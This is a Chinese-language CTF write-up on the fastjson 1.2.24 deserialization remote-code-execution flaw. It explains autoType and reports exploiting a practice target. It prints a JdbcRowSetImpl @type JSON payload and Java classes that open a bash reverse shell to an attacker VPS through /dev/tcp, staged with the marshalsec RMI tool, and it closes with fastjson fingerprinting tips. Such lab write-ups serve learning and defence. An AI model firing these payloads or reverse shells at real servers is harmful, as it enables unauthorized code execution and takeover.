一、fastjson 1.2.24 反序列化导致任意命令执行漏洞

简介:

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

优点:

  • 速度快:fastjson相对其他JSON库的特点是快,从2011年fastjson发布1.1.x版本之后,其性能从未被其他Java实现的JSON库超越
  • 使用广泛:fastjson在阿里巴巴大规模使用,在数万台服务器上部署,fastjson在业界被广泛接受。在2012年被开源中国评选为最受欢迎的国产开源软件之一

环境要求:

  • JDK小于 1.9 ,这里用到的 openjdk version “1.8.0_272”(一定不要用高版本的不然会复现不出来)
  • 靶机Ubuntu
  • VPS
  • 工具: marshalsec-0.0.3-SNAPSHOT-all.jar

影响版本:

  • fastjson<=1.2.24

FastJson 接口简单易用,已经被广泛使用在缓存序列化、协议交互、web输出、Android 客户端等多种应用场景。但是,从诞生之初,fastjson就多次被曝出存在反序列化漏洞,并且每次都和 autoType 有关。

二、autoType

2.1 为什么fastjson要使用autoType?

对于json框架来说,想要把java对象转换成字符串,可以有两种选择:

  • 基于属性
  • 基于 setter/getter

但是fastjson并没有使用java自带的序列化机制,而是自定义了一套机制。

class Store {
    private String name;
    private Fruit fruit;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Fruit getFruit() {
        return fruit;
    }
    public void setFruit(Fruit fruit) {
        this.fruit = fruit;
    }
}

interface Fruit {
}

class Apple implements Fruit {
    private BigDecimal price;
    //省略 setter/getter、toString等
}
//测试类
import com.alibaba.fastjson.JSON;
public class Client {
    public static void main(String[] args) {
        Store store = new Store();
        store.setName("siii0");
        Apple apple = new Apple();
        apple.setPrice(new BigDecimal(0.5));
        store.setFruit(apple);
        String jsonString = JSON.toJSONString(store);
        System.out.println(jsonString);
    }
}

image-20220430174136600

可以看到Apple类并不在其中,那么反序列化之后能否恢复呢?

Store newStore = JSON.parseObject(jsonString,Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

image-20220430174617708

报错了,也就是说,当一个类中包含了一个接口(或抽象类)的时候,在使用fastjson进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型

所以这个时候,fastjson引入了AutoType,即在序列化的时候,把原始类型记录下来

//只需修改这句
//String jsonString = JSON.toJSONString(store);

String jsonString = JSON.toJSONString(store, SerializerFeature.WriteClassName);

image-20220430175224265

2.2 AutoType何错之有?

因为有了AutoType的功能,那么fastjson在反序列化的时候,就会读取到@type的内容,试图把JSON内容反序列化为这个对象,并且会调用该对象的setter方法

那么攻击者就可以利用这个特性,自己构造一个字符串,并且使用@type指定一个自己想要使用的攻击类库。

举个例子:黑客比较常用的攻击类库是com.sun.rowset.JdbcRowSetImpl,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri时,就会支持rmi远程调用,去指定的rmi地址中去调用方法。

而fastjson在反序列化的时候会调用对象的setter方法,这样黑客就能使用这个类库传入自己想要执行的命令,例如:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

三、解题过程

进入题目,获得一些Json数据:

image-20220503194613588

使用BP抓包,修改请求类型(POST)后:

image-20220503194838355

显示缺少请求体,于是构造一串json数据发送,返回了相同的内容:

image-20220503195033401

这里直接放上playload,这是rmi服务器需要加载的恶意类:

import java.lang.Runtime;
import java.lang.Process;

public class Touch {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash","-c", "bash -i >& /dev/tcp/vps/port 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后在该目录使用python部署:

image-20220503224745025

接下来使用工具marshalsec 搭建rmi服务器

我们借助工具marshalsec ,启动一个rmi服务器,监听9999端口,并指定加载远程类TouchFile.class

image-20220503225029525

然后向靶场服务器发送playload,带上rmi服务器的ip,这样就能执行TouchFile.class中的代码了

image-20220503225109300

image-20220503225555681

照理说,这里就能成功反弹shell,可是rmi服务器都没有任何响应

最后这里验证了一下该漏洞是否存在:

发送playload:

image-20220504223443414

刷新dnslog:

image-20220504223529351

说明该漏洞还是存在的,但是不知道为什么不成功


更新

终于发现原因了,靶机在外网(我在bmzctf做的),而我的虚拟机在内网无法被外网访问。。。

所以我把攻击的环境部署到vps上,再试一次,成功了T.T

//换了一个playload,也学习一下java的反弹shell
public class Exploit{
    //构造方法
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/VPS的IP/6666 0>&1"});
 
    public static void main(String[] args) throws Exception {
    }
}

发送playload前:

image-20220505210243199

image-20220505210325139

image-20220505210533164

发送playload后:

image-20220505210630394

image-20220505210708058

image-20220505210734419

fastjson指纹识别

当我们在做渗透测试的时候,抓包的时候返回的流量内容存在json格式时,我们就可以想它是不是使用了fastjson库

image-20220505212027482

接着我们进一步判断:

1、根据报错信息判断

发送一个post请求,发送的数据为未闭合的花括号,如果服务器没有屏蔽报错信息则会报出fastjson的信息

image-20220505212250662

2、利用dnslog盲打

image-20220505212652085

image-20220505212718179